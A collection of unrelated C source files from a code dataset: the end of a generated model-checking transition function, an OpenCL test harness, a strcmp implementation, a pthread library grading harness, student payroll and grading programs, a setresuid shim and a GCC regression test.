_x_max_prop)) && (_x_proposed19 <= _x_max_prop)) && (_x_proposed20 <= _x_max_prop)) && (((((((((((((((((((((_x_proposed0 == _x_max_prop) || (_x_proposed1 == _x_max_prop)) || (_x_proposed2 == _x_max_prop)) || (_x_proposed3 == _x_max_prop)) || (_x_proposed4 == _x_max_prop)) || (_x_proposed5 == _x_max_prop)) || (_x_proposed6 == _x_max_prop)) || (_x_proposed7 == _x_max_prop)) || (_x_proposed8 == _x_max_prop)) || (_x_proposed9 == _x_max_prop)) || (_x_proposed10 == _x_max_prop)) || (_x_proposed11 == _x_max_prop)) || (_x_proposed12 == _x_max_prop)) || (_x_proposed13 == _x_max_prop)) || (_x_proposed14 == _x_max_prop)) || (_x_proposed15 == _x_max_prop)) || (_x_proposed16 == _x_max_prop)) || (_x_proposed17 == _x_max_prop)) || (_x_proposed18 == _x_max_prop)) || (_x_proposed19 == _x_max_prop)) || (_x_proposed20 == _x_max_prop))) && (_x_inc_max_prop == (max_prop <= _x_max_prop)))))))))))))))))))))))) && (((delta == _x__diverge_delta) || ( !(1.0 <= _diverge_delta))) && ((1.0 <= _diverge_delta) || ((delta + (_diverge_delta + (-1.0 * _x__diverge_delta))) == 0.0)))) && ((((((_EL_U_2792 == (_x__EL_U_2792 || ( !(_x__EL_U_2790 || (1.0 <= _x__diverge_delta))))) && ((_EL_U_2790 == (_x__EL_U_2790 || (1.0 <= _x__diverge_delta))) && ((_EL_U_2795 == (_x__EL_U_2795 || ( !_x_inc_max_prop))) && (_EL_U_2797 == (_x__EL_U_2797 || ( !(_x__EL_U_2795 || ( !_x_inc_max_prop)))))))) && (_x__J2817 == (( !(((_J2817 && _J2823) && _J2829) && _J2835)) && ((((_J2817 && _J2823) && _J2829) && _J2835) || ((( !inc_max_prop) || ( !(( !inc_max_prop) || _EL_U_2795))) || _J2817))))) && (_x__J2823 == (( !(((_J2817 && _J2823) && _J2829) && _J2835)) && ((((_J2817 && _J2823) && _J2829) && _J2835) || ((( !(( !inc_max_prop) || _EL_U_2795)) || ( !(_EL_U_2797 || ( !(( !inc_max_prop) || _EL_U_2795))))) || _J2823))))) && (_x__J2829 == (( !(((_J2817 && _J2823) && _J2829) && _J2835)) && ((((_J2817 && _J2823) && _J2829) && _J2835) || (((1.0 <= _diverge_delta) || ( !((1.0 <= _diverge_delta) || _EL_U_2790))) || _J2829))))) && (_x__J2835 == (( !(((_J2817 && _J2823) && _J2829) && _J2835)) && ((((_J2817 && _J2823) && _J2829) && _J2835) || ((( !((1.0 <= _diverge_delta) || _EL_U_2790)) || ( !(_EL_U_2792 || ( !((1.0 <= _diverge_delta) || _EL_U_2790))))) || _J2835))))));
p9_l0 = _x_p9_l0;
_diverge_delta = _x__diverge_delta;
p9_l1 = _x_p9_l1;
delta = _x_delta;
max_prop = _x_max_prop;
proposed20 = _x_proposed20;
p9_x = _x_p9_x;
proposed19 = _x_proposed19;
proposed18 = _x_proposed18;
p9_saved_max = _x_p9_saved_max;
proposed17 = _x_proposed17;
proposed16 = _x_proposed16;
proposed15 = _x_proposed15;
proposed14 = _x_proposed14;
proposed13 = _x_proposed13;
proposed12 = _x_proposed12;
proposed11 = _x_proposed11;
proposed10 = _x_proposed10;
p10_l0 = _x_p10_l0;
proposed9 = _x_proposed9;
p10_l1 = _x_p10_l1;
proposed8 = _x_proposed8;
p10_x = _x_p10_x;
proposed7 = _x_proposed7;
proposed6 = _x_proposed6;
proposed5 = _x_proposed5;
p10_saved_max = _x_p10_saved_max;
proposed4 = _x_proposed4;
proposed3 = _x_proposed3;
proposed2 = _x_proposed2;
proposed1 = _x_proposed1;
proposed0 = _x_proposed0;
p11_l0 = _x_p11_l0;
p11_l1 = _x_p11_l1;
p11_x = _x_p11_x;
p11_saved_max = _x_p11_saved_max;
p12_l0 = _x_p12_l0;
p12_l1 = _x_p12_l1;
p12_x = _x_p12_x;
p12_saved_max = _x_p12_saved_max;
inc_max_prop = _x_inc_max_prop;
id1 = _x_id1;
id0 = _x_id0;
id2 = _x_id2;
id3 = _x_id3;
id4 = _x_id4;
p13_l0 = _x_p13_l0;
p13_l1 = _x_p13_l1;
turn1 = _x_turn1;
p13_x = _x_p13_x;
turn0 = _x_turn0;
turn2 = _x_turn2;
p13_saved_max = _x_p13_saved_max;
turn3 = _x_turn3;
turn4 = _x_turn4;
p14_l0 = _x_p14_l0;
p14_l1 = _x_p14_l1;
p14_x = _x_p14_x;
p14_saved_max = _x_p14_saved_max;
p15_l0 = _x_p15_l0;
p15_l1 = _x_p15_l1;
p15_x = _x_p15_x;
p15_saved_max = _x_p15_saved_max;
p16_l0 = _x_p16_l0;
p16_l1 = _x_p16_l1;
p16_x = _x_p16_x;
p16_saved_max = _x_p16_saved_max;
p17_l0 = _x_p17_l0;
p17_l1 = _x_p17_l1;
p17_x = _x_p17_x;
p17_saved_max = _x_p17_saved_max;
p18_l0 = _x_p18_l0;
p18_l1 = _x_p18_l1;
p18_x = _x_p18_x;
p18_saved_max = _x_p18_saved_max;
p19_l0 = _x_p19_l0;
p19_l1 = _x_p19_l1;
p19_x = _x_p19_x;
p19_saved_max = _x_p19_saved_max;
p0_l0 = _x_p0_l0;
p0_l1 = _x_p0_l1;
p0_x = _x_p0_x;
p20_l0 = _x_p20_l0;
p20_l1 = _x_p20_l1;
p0_saved_max = _x_p0_saved_max;
p20_x = _x_p20_x;
p20_saved_max = _x_p20_saved_max;
p1_l0 = _x_p1_l0;
p1_l1 = _x_p1_l1;
p1_x = _x_p1_x;
_J2835 = _x__J2835;
p1_saved_max = _x_p1_saved_max;
_J2829 = _x__J2829;
_J2823 = _x__J2823;
_J2817 = _x__J2817;
_EL_U_2790 = _x__EL_U_2790;
_EL_U_2792 = _x__EL_U_2792;
_EL_U_2795 = _x__EL_U_2795;
p2_l0 = _x_p2_l0;
p2_l1 = _x_p2_l1;
_EL_U_2797 = _x__EL_U_2797;
p2_x = _x_p2_x;
p2_saved_max = _x_p2_saved_max;
p3_l0 = _x_p3_l0;
p3_l1 = _x_p3_l1;
p3_x = _x_p3_x;
p3_saved_max = _x_p3_saved_max;
p4_l0 = _x_p4_l0;
p4_l1 = _x_p4_l1;
p4_x = _x_p4_x;
p4_saved_max = _x_p4_saved_max;
p5_l0 = _x_p5_l0;
p5_l1 = _x_p5_l1;
p5_x = _x_p5_x;
p5_saved_max = _x_p5_saved_max;
p6_l0 = _x_p6_l0;
p6_l1 = _x_p6_l1;
p6_x = _x_p6_x;
p6_saved_max = _x_p6_saved_max;
p7_l0 = _x_p7_l0;
p7_l1 = _x_p7_l1;
p7_x = _x_p7_x;
p7_saved_max = _x_p7_saved_max;
p8_l0 = _x_p8_l0;
p8_l1 = _x_p8_l1;
p8_x = _x_p8_x;
p8_saved_max = _x_p8_saved_max;
}
}
|
the_stack_data/615746.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <CL/cl.h>
unsigned char *read_buffer(char *file_name, size_t *size_ptr)
{
FILE *f;
unsigned char *buf;
size_t size;
/* Open file */
f = fopen(file_name, "rb");
if (!f)
return NULL;
/* Obtain file size */
fseek(f, 0, SEEK_END);
size = ftell(f);
fseek(f, 0, SEEK_SET);
/* Allocate and read buffer */
buf = malloc(size + 1);
fread(buf, 1, size, f);
buf[size] = '\0';
/* Return size of buffer */
if (size_ptr)
*size_ptr = size;
/* Return buffer */
return buf;
}
void write_buffer(char *file_name, const char *buffer, size_t buffer_size)
{
FILE *f;
/* Open file */
f = fopen(file_name, "w+");
/* Write buffer */
if(buffer)
fwrite(buffer, 1, buffer_size, f);
/* Close file */
fclose(f);
}
int main(int argc, char const *argv[])
{
/* Get platform */
cl_platform_id platform;
cl_uint num_platforms;
cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformIDs' failed\n");
exit(1);
}
printf("Number of platforms: %d\n", num_platforms);
printf("platform=%p\n", platform);
/* Get platform name */
char platform_name[100];
ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformInfo' failed\n");
exit(1);
}
printf("platform.name='%s'\n\n", platform_name);
/* Get device */
cl_device_id device;
cl_uint num_devices;
ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceIDs' failed\n");
exit(1);
}
printf("Number of devices: %d\n", num_devices);
printf("device=%p\n", device);
/* Get device name */
char device_name[100];
ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name),
device_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceInfo' failed\n");
exit(1);
}
printf("device.name='%s'\n", device_name);
printf("\n");
/* Create a Context Object */
cl_context context;
context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateContext' failed\n");
exit(1);
}
printf("context=%p\n", context);
/* Create a Command Queue Object*/
cl_command_queue command_queue;
command_queue = clCreateCommandQueue(context, device, 0, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateCommandQueue' failed\n");
exit(1);
}
printf("command_queue=%p\n", command_queue);
printf("\n");
/* Program source */
unsigned char *source_code;
size_t source_length;
/* Read program from 'not_equal_uint8uint8.cl' */
source_code = read_buffer("not_equal_uint8uint8.cl", &source_length);
/* Create a program */
cl_program program;
program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateProgramWithSource' failed\n");
exit(1);
}
printf("program=%p\n", program);
/* Build program */
ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL);
if (ret != CL_SUCCESS )
{
size_t size;
char *log;
/* Get log size */
clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size);
/* Allocate log and print */
log = malloc(size);
clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL);
printf("error: call to 'clBuildProgram' failed:\n%s\n", log);
/* Free log and exit */
free(log);
exit(1);
}
printf("program built\n");
printf("\n");
/* Create a Kernel Object */
cl_kernel kernel;
kernel = clCreateKernel(program, "not_equal_uint8uint8", &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateKernel' failed\n");
exit(1);
}
/* Create and allocate host buffers */
size_t num_elem = 10;
/* Create and init host side src buffer 0 */
cl_uint8 *src_0_host_buffer;
src_0_host_buffer = malloc(num_elem * sizeof(cl_uint8));
for (int i = 0; i < num_elem; i++)
src_0_host_buffer[i] = (cl_uint8){{2, 2, 2, 2, 2, 2, 2, 2}};
/* Create and init device side src buffer 0 */
cl_mem src_0_device_buffer;
src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_uint8), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_uint8), src_0_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueWriteBuffer' failed\n");
exit(1);
}
/* Create and init host side src buffer 1 */
cl_uint8 *src_1_host_buffer;
src_1_host_buffer = malloc(num_elem * sizeof(cl_uint8));
for (int i = 0; i < num_elem; i++)
src_1_host_buffer[i] = (cl_uint8){{2, 2, 2, 2, 2, 2, 2, 2}};
/* Create and init device side src buffer 1 */
cl_mem src_1_device_buffer;
src_1_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_uint8), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = clEnqueueWriteBuffer(command_queue, src_1_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_uint8), src_1_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueWriteBuffer' failed\n");
exit(1);
}
/* Create host dst buffer */
cl_int8 *dst_host_buffer;
dst_host_buffer = malloc(num_elem * sizeof(cl_int8));
memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_int8));
/* Create device dst buffer */
cl_mem dst_device_buffer;
dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_int8), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create dst buffer\n");
exit(1);
}
/* Set kernel arguments */
ret = CL_SUCCESS;
ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer);
ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &src_1_device_buffer);
ret |= clSetKernelArg(kernel, 2, sizeof(cl_mem), &dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clSetKernelArg' failed\n");
exit(1);
}
/* Launch the kernel */
size_t global_work_size = num_elem;
size_t local_work_size = num_elem;
ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueNDRangeKernel' failed\n");
exit(1);
}
/* Wait for it to finish */
clFinish(command_queue);
/* Read results from GPU */
ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_int8), dst_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueReadBuffer' failed\n");
exit(1);
}
/* Dump dst buffer to file */
char dump_file[100];
sprintf((char *)&dump_file, "%s.result", argv[0]);
write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_int8));
printf("Result dumped to %s\n", dump_file);
/* Free host dst buffer */
free(dst_host_buffer);
/* Free device dst buffer */
ret = clReleaseMemObject(dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 0 */
free(src_0_host_buffer);
/* Free device side src buffer 0 */
ret = clReleaseMemObject(src_0_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 1 */
free(src_1_host_buffer);
/* Free device side src buffer 1 */
ret = clReleaseMemObject(src_1_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Release kernel */
ret = clReleaseKernel(kernel);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseKernel' failed\n");
exit(1);
}
/* Release program */
ret = clReleaseProgram(program);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseProgram' failed\n");
exit(1);
}
/* Release command queue */
ret = clReleaseCommandQueue(command_queue);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseCommandQueue' failed\n");
exit(1);
}
/* Release context */
ret = clReleaseContext(context);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseContext' failed\n");
exit(1);
}
return 0;
} |
the_stack_data/6386727.c | /**
* @file strcmp.c
* @brief 二つの文字列を比較し、その結果を返す。
*/
/**
* @brief 二つの文字列を比較し、その結果を返す。
* @param[in] str1 比較対象の文字列その1
* @param[in] str2 比較対象の文字列その2
* @return str1 > str2の場合は1、s1 = s2の場合は0、str1 < str2の場合は-1を返す。
*/
int strcmp(
char *str1,
char *str2)
{
while (*str1 == *str2)
{
if (*str1 == '\0')
{
return 0;
}
str1++;
str2++;
}
if (*str1 < *str2)
{
return -1;
}
else
{
return 1;
}
}
|
the_stack_data/231393099.c | /**
* Sean Gillen, Ryan Allen May 2019
*
* This file will automatically grade your cs170 threads library
* Please see the README for more info
*/
#include <pthread.h>
#include <semaphore.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <poll.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#define NUM_TESTS 15
#define PASS 1
#define FAIL 0
#define SEM_VALUE_MAX 65536
//#define _DEBUG
#define TEST_WAIT_MILI 3000 // how many miliseconds do we wait before assuming a test is hung
//if your code compiles you pass test 0 for free
//==============================================================================
static int test0(void){
return PASS;
}
//basic errorno test
//==============================================================================
static void* _thread_errno_test(void* arg){
pthread_exit(0);
}
static int test1(void){
pthread_t tid1;
pthread_create(&tid1, NULL, &_thread_errno_test, NULL);
pthread_join(tid1, NULL);
sleep(1);
int rtn = pthread_join(tid1, NULL);
if (rtn != ESRCH)
return FAIL;
return PASS;
}
//basic pthread join test
//==============================================================================
static void* _thread_join_test(void* arg){
sleep(1);
pthread_exit(0);
}
static int test2(void){
pthread_t tid1 = 0;
pthread_create(&tid1, NULL, &_thread_join_test, NULL);
int rtn = pthread_join(tid1, NULL); //failure occurs on a timeout
if (rtn != 0)
return FAIL;
return PASS;
}
//join test 2
//==============================================================================
static int a41;
static int a42;
static void* _thread_slow_join(void* arg){
sleep(1);
a42 = 12;
pthread_exit(0);
}
static void* _thread_fast_join(void* arg){
a41 = 11;
pthread_exit(0);
}
static int test3(void){
pthread_t tid1; pthread_t tid2;
void *rtn1, *rtn2;
pthread_create(&tid1, NULL, &_thread_fast_join, NULL);
pthread_create(&tid2, NULL, &_thread_slow_join, NULL);
pthread_join(tid2, &rtn2);
pthread_join(tid1, &rtn1);
if (a41 != 11 || a42 != 12)
return FAIL;
return PASS;
}
//join test 3
//==============================================================================
static void* _thread_dummy_loop(void* arg){
pthread_t a = pthread_self();
int *val;
for(int i = 0; i < 100000; i++);
val = (int *) malloc(sizeof(int));
*val = 42;
return (void *) val;
}
static int test4(void){
pthread_t tid;
void *val;
int i;
int tids[128];
for (i=0; i<128; i++) {
pthread_create(&tid, NULL, &_thread_dummy_loop, NULL);
tids[i] = tid;
}
for (i=0; i<128; i++) {
pthread_join(tids[i], &val);
if (*(int*)val != 42)
return FAIL;
}
return PASS;
}
//basic semaphore test
//==============================================================================
static int a5;
static void* _thread_arg(void* arg){
sem_t *sem = (sem_t*) arg;
sem_wait(sem);
a5 = 20;
sem_post(sem);
pthread_exit(0);
}
static int test5(void){
pthread_t tid1;
sem_t sem;
int i;
sem_init(&sem, 0, 1);
a5 = 10;
sem_wait(&sem);
pthread_create(&tid1, NULL, &_thread_arg, &sem);
for (i=0; i<3; i++) { // sleep for 3 schedules
sleep(1);
}
if (a5 != 10)
return FAIL;
sem_post(&sem);
pthread_join(tid1, NULL);
sem_destroy(&sem);
return PASS;
}
//semaphore test 2
//==============================================================================
static int a6;
static void* _thread_sem2(void* arg){
sem_t *sem;
int local_var, i;
sem = (sem_t*) arg;
sem_wait(sem);
local_var = a6;
for (i=0; i<5; i++) {
local_var += pthread_self();
}
for (i=0; i<3; i++) { // sleep for 3 schedules
sleep(1);
}
a6 = local_var;
sem_post(sem);
pthread_exit(0);
}
static int test6(void){
pthread_t tid1, tid2;
sem_t sem;
sem_init(&sem, 0, 1);
a6 = 10;
pthread_create(&tid1, NULL, &_thread_sem2, &sem);
pthread_create(&tid2, NULL, &_thread_sem2, &sem);
pthread_join(tid1, NULL);
pthread_join(tid2, NULL);
sem_destroy(&sem);
if (a6 != (10 + (tid1*5) + (tid2*5)))
return FAIL;
return PASS;
}
//basic lock test
//==============================================================================
static int l;
static void* _thread_lock_test(void* arg){
lock();
l = 20;
unlock();
pthread_exit(0);
}
static int test7(void){
pthread_t tid;
int i;
pthread_create(&tid, NULL, &_thread_lock_test, NULL);
lock(); // need to lock after init is called
l = 10;
sleep(1);
if (l != 10)
return FAIL;
unlock();
pthread_join(tid, NULL);
if (l != 20)
return FAIL;
return PASS;
}
//invalid pthread_join input
// NOTE: This test was awarded as 5 extra points if passed
// But did not hurt your grade if failed
//==============================================================================
static void* _thread_test8(void* arg){
for (int i=0; i<10; i++) { // sleep for 10 schedules
sleep(1);
}
pthread_exit(0);
}
static void* _thread_join_other(void* arg){
pthread_t tid;
tid = *(pthread_t*)arg;
pthread_join(tid, NULL);
pthread_exit(0);
}
static int test8(void){
pthread_t tid1, tid2;
int rtn;
pthread_create(&tid1, NULL, &_thread_test8, NULL);
pthread_create(&tid2, NULL, &_thread_join_other, &tid1);
rtn = pthread_join(pthread_self(), NULL);
if (rtn != EDEADLK)
return FAIL;
sleep(1); // skip to make sure thread 2 joins first
rtn = pthread_join(tid1, NULL);
if (rtn != EINVAL)
return FAIL;
return PASS;
}
//invalid semaphore input
// This test was omitted due to an error on my part
//==============================================================================
static int test9(void){
pthread_t tid1, tid2;
sem_t sem;
int rtn;
rtn = sem_init(&sem, 0, SEM_VALUE_MAX*2);
if (rtn == 0)
return FAIL;
sem_init(&sem, 0, 1);
rtn = sem_wait(NULL);
if (rtn == 0)
return FAIL;
sem_destroy(&sem);
rtn = sem_post(&sem); // This is stated as undefined behavior as part of the spec
if (rtn == 0) // Therefore I omitted this test from grading
return FAIL;
return PASS;
}
//recursive join test
//==============================================================================
static void* _thread_return(void* arg){
int *val;
val = (int *) malloc(sizeof(int));
*val = 24;
return (void *) val;
}
static void* _thread_rjoin(void *arg){
pthread_t tid;
void *return_val;
tid = *(pthread_t *)arg;
pthread_join(tid, &return_val);
return return_val;
}
static int test10(void){
pthread_t first, tid1, tid2;
pthread_t tids[30];
void *return_val;
pthread_create(&tids[0], NULL, &_thread_return, NULL);
for(int i=1; i<30; i++) {
pthread_create(&tids[i], NULL, &_thread_rjoin, &tids[i-1]);
}
pthread_join(tids[29], &return_val);
if (*(int*)return_val != 24)
return FAIL;
return PASS;
}
//Synchronizing semaphores
//==============================================================================
typedef struct my_sems {
sem_t *sem1;
sem_t *sem2;
} *MySems;
static int z;
static void* _thread_test11(void *arg) {
MySems my_sems;
int i;
my_sems = *(MySems*) arg;
printf("sem1: %d, sem2: %d\n", my_sems->sem1->__align, my_sems->sem2->__align);
sem_wait(my_sems->sem2);
z++;
sem_post(my_sems->sem1);
pthread_exit(0);
}
static int test11(void) {
pthread_t tid1;
sem_t sem1, sem2;
MySems my_sems;
int rtn, i;
rtn = sem_init(&sem1, 0, 0);
if (rtn != 0)
return FAIL;
sem_init(&sem2, 0, 1);
my_sems = (MySems) malloc(sizeof(struct my_sems));
printf("TEST DIRECT: sem1: %d, sem2: %d\n", sem1.__align, sem2.__align);
my_sems->sem1 = &sem1;
my_sems->sem2 = &sem2;
printf("TEST THREAD: sem1: %d, sem2: %d\n", my_sems->sem1->__align, my_sems->sem2->__align);
z = 0;
for (i=0; i<24; i++) {
pthread_create(&tid1, NULL, &_thread_test11, &my_sems);
}
while (z != 24) {
sem_wait(&sem1);
printf("z: %d\n", z);
sem_post(&sem2);
}
free(my_sems);
sem_destroy(&sem1);
sem_destroy(&sem2);
return PASS;
}
//cleanup test
//==============================================================================
static int a12 = 0;
static void* _thread_inc12(void *arg) {
a12++;
pthread_exit(0);
}
static void* _thread_stall(void *arg) {
sleep(1); // skip one schedule
pthread_exit(0);
}
static int test12(void) {
pthread_t tids[48];
int i, rtn;
for (i=0; i<24; i++) {
pthread_create(&tids[i], NULL, &_thread_inc12, NULL);
}
for (i=23; i>=0; i--) {
pthread_join(tids[i], NULL);
}
for (i=24; i<48; i++) {
pthread_create(&tids[i], NULL, &_thread_stall, NULL);
}
for (i=24; i<48; i++) {
pthread_join(tids[i], NULL);
}
// Make sure all threads are gone
for (i=0; i<48; i++) {
rtn = pthread_join(tids[i], NULL);
if (rtn != ESRCH)
return FAIL;
}
return PASS;
}
//Combining tests
//==============================================================================
static int test13(void) {
return ( test2() && test4() );
}
//==============================================================================
static int test14(void) {
return ( test4() && test6() && test5() );
}
//end of tests
//==============================================================================
/**
* Some implementation details: Main spawns a child process for each
* test, that way if test 2/20 segfaults, we can still run the remaining
* tests. It also hands the child a pipe to write the result of the test.
* the parent polls this pipe, and counts the test as a failure if there
* is a timeout (which would indicate the child is hung).
*/
static int (*test_arr[NUM_TESTS])(void) = {&test0, &test1, &test2, &test3, &test4,
&test5, &test6, &test7, &test8, &test9,
&test10, &test11, &test12, &test13, &test14};
int main(void){
int status; pid_t pid;
int pipe_fd[2]; int timeout; struct pollfd poll_fds;
int score = 0; int total_score = 0;
int devnull_fd = open("/dev/null", O_WRONLY);
pipe(pipe_fd);
poll_fds.fd = pipe_fd[0]; // only going to poll the read end of our pipe
poll_fds.events = POLLRDNORM; //only care about normal read operations
for(int i = 0; i < NUM_TESTS; i++){
score = 0;
pid = fork();
//child, launches the test
if (pid == 0){
#ifndef _DEBUG
dup2(devnull_fd, STDOUT_FILENO); //begone debug messages
dup2(devnull_fd, STDERR_FILENO);
#endif
score = test_arr[i]();
write(pipe_fd[1], &score, sizeof(score));
exit(0);
}
//parent, polls on the pipe we gave the child, kills the child,
//keeps track of score
else{
if(poll(&poll_fds, 1, TEST_WAIT_MILI)){
read(pipe_fd[0], &score, sizeof(score));
}
total_score += score;
kill(pid, SIGKILL);
waitpid(pid,&status,0);
if(score){
printf("test %i : PASS\n", i);
}
else{
printf("test %i : FAIL\n", i);
}
}
}
printf("total score was %i / %i\n", total_score, NUM_TESTS);
return 0;
} |
the_stack_data/104289.c | /*
* 20150322-5.c
*
* Created by Sam Niemoeller for 3/22/15.
* Assignment #2
*
* Write a program that prepares a payroll earning statement.
* (see .pdf email attachment for full details)
*
*/
#include <stdio.h>
int main (void)
{
/* Local Definitions */
float weeksProfit;
char F_Name[21] = "";
char L_Name[21] = "";
int IDNum;
int years;
float salesAmt;
float commission;
float bonus;
float grossSal;
float retirement;
float stateTax;
float fedTax;
float totalDed;
float netSalary;
/* Statements */
printf ("\nEnter profit for the week: ");
scanf ("%f", &weeksProfit);
printf ("Enter information for the employee:\n");
printf ("Enter First Name: ");
scanf ("%s", F_Name);
printf ("Enter Last Name: ");
scanf ("%s", L_Name);
printf ("Enter ID Number: ");
scanf ("%d", &IDNum);
printf ("Enter Years of Experience: ");
scanf ("%d", &years);
printf ("Enter Sales amount: ");
scanf ("%f", &salesAmt);
commission = salesAmt * (12.5 / 100);
bonus = ((float)years * (weeksProfit * (0.5 / 100))) + 50;
grossSal = commission + bonus;
retirement = grossSal * (8.0 / 100);
stateTax = grossSal * (10.0 / 100);
fedTax = grossSal * (25.0 / 100);
totalDed = retirement + stateTax + fedTax;
netSalary = grossSal - totalDed;
printf ("\n\nPayroll report for %s %s, Id number %d:", F_Name, L_Name, IDNum);
printf ("\nSales:\t\t\t$ %10.2f", salesAmt);
printf ("\nCommission:\t\t$ %10.2f", commission);
printf ("\nBonus:\t\t\t$ %10.2f", bonus);
printf ("\nGross Salary:\t\t$ %10.2f", grossSal);
printf ("\nRetirement:\t\t$ %10.2f", retirement);
printf ("\nState Tax:\t\t$ %10.2f", stateTax);
printf ("\nFederal Tax:\t\t$ %10.2f", fedTax);
printf ("\nTotal Deductions:\t$ %10.2f", totalDed);
printf ("\nNet Salary:\t\t$ %10.2f\n\n", netSalary);
return 0;
} |
the_stack_data/231392311.c | #include <stdio.h>
int main () {
double aval,bval,cval,dval,score;
printf("Enter thresholds for A, B, C, D\n");
printf("in that order, decreasing percentages > ");
scanf("%lf %lf %lf %lf", &aval,&bval, &cval, &dval);
printf("Thank you. Now enter student score (percent) >");
scanf("%lf",&score);
if(score >= aval)
printf("Student has an A grade\n");
else if (score >= bval)
printf("Student has an B grade\n");
else if (score >= cval)
printf("Student has an C grade\n");
else if (score >= dval)
printf("Student has an D grade\n");
else printf("Student has failed the course\n");
return 0;
}
|
the_stack_data/117326960.c | /*
* Copyright (c) 2004, 2005 Darren Tucker (dtucker at zip com au).
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <sys/types.h>
#include <errno.h>
#include <unistd.h>
int
setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
uid_t ouid;
int ret = -1;
/* Allow only the tested configuration. */
if (ruid != euid || euid != suid) {
errno = ENOSYS;
return -1;
}
ouid = getuid();
# if defined(HAVE_SETREUID) && !defined(BROKEN_SETREUID)
if ((ret = setreuid(euid, euid)) == -1)
return -1;
# else
# ifndef SETEUID_BREAKS_SETUID
if (seteuid(euid) == -1)
return -1;
# endif
if ((ret = setuid(ruid)) == -1)
return -1;
# endif
/*
* When real, effective and saved uids are the same and we have
* changed uids, sanity check that we cannot restore the old uid.
*/
if (ruid == euid && euid == suid && ouid != ruid &&
setuid(ouid) != -1 && seteuid(ouid) != -1) {
errno = EINVAL;
return -1;
}
/*
* Finally, check that the real and effective uids are what we
* expect.
*/
if (getuid() != ruid || geteuid() != euid) {
errno = EACCES;
return -1;
}
return ret;
}
|
the_stack_data/724139.c | /* PR target/79494 */
/* { dg-do compile } */
/* { dg-require-effective-target split_stack } */
/* { dg-options "-O2 -fsplit-stack -g" } */
void
foo (int a)
{
__label__ lab;
__attribute__((noinline, noclone)) void bar (int b)
{
switch (b)
{
case 1:
goto lab;
case 2:
goto lab;
}
}
bar (a);
lab:;
}
|
the_stack_data/122647.c | #include <stdio.h>
#define Max 10000
